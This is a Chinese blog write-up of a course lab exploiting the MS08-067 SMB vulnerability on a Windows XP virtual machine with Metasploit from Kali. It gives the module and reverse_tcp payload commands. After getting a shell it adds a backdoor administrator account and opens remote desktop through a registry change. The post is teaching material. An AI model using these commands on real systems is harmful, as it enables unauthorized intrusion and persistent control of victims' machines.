渗透攻击MS08-067

news2025/7/8 2:28:35

学校课程关于Metasploit有基础的几个小实验,把它整理分享在这里。

实训目的:

熟悉Metasploit终端的使用方法,了解MS08-067漏洞,掌握对MS08-067漏洞攻击的方法。

场景描述:

在虚拟机环境下配置 “WinXP1”和“Kali Linux”虚拟系统,使得2个系统之间能够相互通信,网络拓扑如图所示7-1所示。

图7-1 网络拓扑

任务1 利用MS08-067漏洞控制目标计算机

扫描windowsxp系统发现有ms08-067漏洞

在Kali终端中输入命令“service postgresql start”,启动PostgreSQL数据库,然后输入命令“msfdb init”,初始化数据库

 

启动metasploit

 

输入命令“search ms08-067”,搜索MS08-067的漏洞对应的模块。

输入命令“use exploit/windows/smb/ms08_067_netapi”,启用这个渗透攻击模块。然后输入命令“show payloads”,查看该模块所适用的攻击载荷,如图7-6所示。作为攻击载荷的Payload就是通常所说的Shell code,常用的攻击载荷类型有开放监听后门、回连至控制端的后门、运行某个命令或程序、下载并运行可执行文件、添加系统用户等。

 

输入命令“set payload windows/meterpreter/reverse_tcp”,然后输入命令“show options”,查看渗透攻击的配置选项,如图7-7所示。其中“Required”为“yes”的为必填项

输入命令“show targets”,查看渗透攻击模块可以成功渗透攻击的目标平台,可以看到ms08_067_netapi模块共支持70多种不同的操作系统版本。第0号对应的是Automatic Targeting,表示Metasploit可以自动判断目标类型,并自动选择最合适的目标选项进行攻击。自动判断并不能确保绝对准确,所以一定要根据之前的扫描结果,进行主动确定,否则有可能实验会失败

 这边本机系统为xp sp3  所以选择34

进行攻击,但是报错,没有生成shell

 

在查阅了很多资料后发现下载的虚拟机版本已经打过补丁导致无法攻击成功

去下载了原版的windowsxp系列然后攻击成功

任务2 在目标计算机中建立管理员用户并开启远程桌面服务

输入命令“shell”,获得命令shell,输入命令“net user remote 1234 /add”,添加一个用户,用户名为remote,密码为1234;输入命令“net  localgroup  administrators  remote /add”,把remote用户添加到管理组,

输入命令“netstat –an”,发现目标计算机并没有开启3389(远程桌面连接端口)

 

输入命令“REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f”,通过修改注册表,打开目标主机3389端口,并通过rdesktop打开远程桌面。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/109087.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

华为机试_HJ63 DNA序列【中等】

目录 描述 输入描述: 输出描述: 解题过程 提交代码 学习代码 代码一 收藏点 描述 一个 DNA 序列由 A/C/G/T 四个字母的排列组合组成。 G 和 C 的比例(定义为 GC-Ratio )是序列中 G 和 C 两个字母的总的出现次数除以总的字…

公开竞价与封闭式竞价有什么不同?

电子竞价是电子采购的一种形式。电子采购是指通过信息和网络系统在线进行的招标采购过程。 电子竞价是指一种基于网络的系统,允许潜在供应商在网上实时竞争商品/服务的价格。电子竞价的使用方式类似于e-bay平台,出价最高者获胜。在建筑业,这…

前端_Vue_7.表单输入绑定

文章目录一、 表单输入绑定1.0. 表单&表单元素1.0.1. 表单1.0.2. 表单元素1.1. 基本用法1.1.1. 文本1.1.2. 多行文本1.1.3. 复选框1.1.4. 单选按钮1.1.5. 选择器1.2. 值绑定1.2.1. 复选框1.2.2. 单选按钮1.2.3. 选择器选项1.3. 修饰符1.3.1. .lazy1.3.2. .number1.3.3. .tr…

三角函数公式

三角函数的定义 锐角三角函数任意角三角函数正弦sin⁡Aac\sin A\dfrac acsinAca​sin⁡θyr\sin \theta\dfrac yrsinθry​余弦cos⁡Abc\cos A\dfrac bccosAcb​cos⁡θxr\cos \theta\dfrac xrcosθrx​正切tan⁡Aab\tan A\dfrac abtanAba​tan⁡θyx\tan \theta\dfrac yxtanθ…

mysql中常用命令完整大全 适用于mysql8.0

关于安装部分就去看其他人的一些文章即可网上太多,这篇文章主要就是记录本人的一些关于mysql操作上的笔记。 mysql中常用命令1.登录数据库2.查看当前数据库3.创建数据库4.删除数据库5.创建表user基于以下条件6.使用主键约束7.指定非空8.唯一约束9.默认约束10.设置表…

物联网时代下的5G融合定位,可以实现哪些功能?

5G具有高带宽、高频谱(毫米波)、多天线阵列等特性,通过提升无线定位算法的能力、室内数字系统建设、完善5G定位服务流程以及与其它定位技术和平台的结合,可提高5G定位精度。室内高精度定位服务为5G定位扩展到更多应用场景和领域构…

C++:类和对象:运算符重载

前言: 运算符重载概念:对已有的运算符重新进行定义,赋予其另一种功能,以适应不同的数据类型。 1:加号运算符重载 对于内置的数据类型, 编译器知道如何运算,可以很直观的得到结果 int a 10; …

西瓜书-支持向量机

支持向量机 支持向量:距离超平面最近的这几个训练样本点。 支持向量机的核心思想是最大化间隔γ2∣∣w∣∣\gamma \frac{2}{||w||}γ∣∣w∣∣2​。 求极大转换为求极小,转化为凸规划问题。 对偶问题 利用拉格朗日乘子法,对于不等式约束,…

安全网络身份认证系统的设计与实现

本文章源码地址:https://gitee.com/sukels/shirohttps://gitee.com/sukels/shiro 摘 要 随着互联网的飞速发展,Web应用的安全问题日益凸显。为了保护Web应用中用户和企业的敏感信息,认证授权加密已经成为了Web应用中不可缺少的部分。但是随之而来是巨大的代码工作…

欧科云链半年报解读Final

欧科云链半年报解读:净利润同比扭亏为盈,区块链大数据等创新业务贡献新增长曲线 日前,欧科云链控股(01499.HK)发布2022年度截至9月30日止的六个月中期报告。报告显示,公司在2022年4月1日至2022年9月30日实现…

【idea插件】EasyCode介绍与使用

1.简介 EasyCode是idea的一个插件,主要功能是代码生成,类似的插件还有jpa support EasyCode是idea的一个插件,可以采用图形化的方式对数据的表生成entity,controller,service,dao,mapper……无 需任何编码,简单而强大。可以大幅度的提高开发效率.下面来…

UG/NX二次开发Siemens官方NXOPEN实例解析—2.7 DiameterSymbol

列文章目录 UG/NX二次开发Siemens官方NXOPEN实例解析—2.1 AssemblyViewer UG/NX二次开发Siemens官方NXOPEN实例解析—2.2 Selection UG/NX二次开发Siemens官方NXOPEN实例解析—2.3 Selection_UIStyler UG/NX二次开发Siemens官方NXOPEN实例解析—2.4 File2Points UG/NX二次…

第三章:远程登陆Linux系统-[实操篇]

一:为什么需要远程登陆Linux 1.1示意图 1.2说明 说明: 公司开发时候, 具体的情况是这样的 1) linux 服务器是开发小组共享的. 2) 正式上线的项目是运行在公网的. 3) 因此程序员需要远程登录到 centos 进行项目管理或者开发. 4) 画出简单的网络拓扑…

Vue3——路由的query参数和命名路由以及默认插槽slot的使用

这里主要在message页面组件和detail页面组件介绍 看一个案例,当一个二级路由下面又有许多个不同的跳转页面的时候,比如下图的about/message/detail , 需要分别展示多条信息,这里不能给每一条信息都配置一个组件,那样当信息的数量…

RocketMQ-RocketMQ 系统架构以及消息的概念

文章目录一、RocketMQ的消息模型1、RocketMQ的基础消息模型,一个简单的Pub/Sub模型2、RocketMQ 扩展后的消息模型3、RocketMQ的部署模型二、RocketMQ的系统架构2、Consumer3、Name Server3.1、路由注册3.2、路由剔除3.3、路由发现3.4、Client 对 NameServer选择策略…

Spring5框架总结学习(从入门到进阶)-AOP

文章目录AOP1、基本概念2、底层原理3、底层原理实现4、AOP(术语)5、准备工作6、基于注解实现AOP 1、基本概念 面向切面编程可用对各个业务逻辑各个部分进行隔离 2、底层原理 AOP底层使用动态代理 有2种情况动态代理 有接口 使用JDK动态代理无接口 使…

ffmpeg编译安装

ffmpeg编译安装前言一、下载ffmpeg二、编译安装2.1 Linux编译ffmpeg2.2 Windows编译ffmpeg总结前言 Fmpeg是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。采用LGPL或GPL许可证。它提供了录制、转换以及流化音视频的完整解决方案。它包含…

154. SAP UI5 Smart Table 和 Smart Filter Bar 的联合使用方法介绍

本教程第 147 个步骤,我们介绍了 SAP UI5 Smart Table 控件的用法: SAP UI5 应用开发教程之一百四十七 - SAP UI5 SmartTable 控件的使用介绍如下图所示: 本步骤我们在 Smart Table 本身的基础上再进一步,学习如何将 Smart Table 配合 Smart Filter Bar 共同使用。 先看一…

JDK之强软弱虚引用

Java中强软弱虚引用的整体架构: 强引用 当内存不足,JVM开始垃圾回收,对于强引用的对象,就算是出现了OOM也不会对该对象进行回收,死都不收。 强引用是我们最常见的普通对象引用,只要还有强引用指向一个对象…

Fabric.js 元素被遮挡的部分也可以操作

本文简介 点赞 关注 收藏 学会了 题目: 当两个元素有部分重叠时,选中底层元素后,想通过被盖住的部分移动元素,该如何实现? 其实 Fabric.js 已经提供了相应的 API 去完成上面的需求了。但直到今天, Fabr…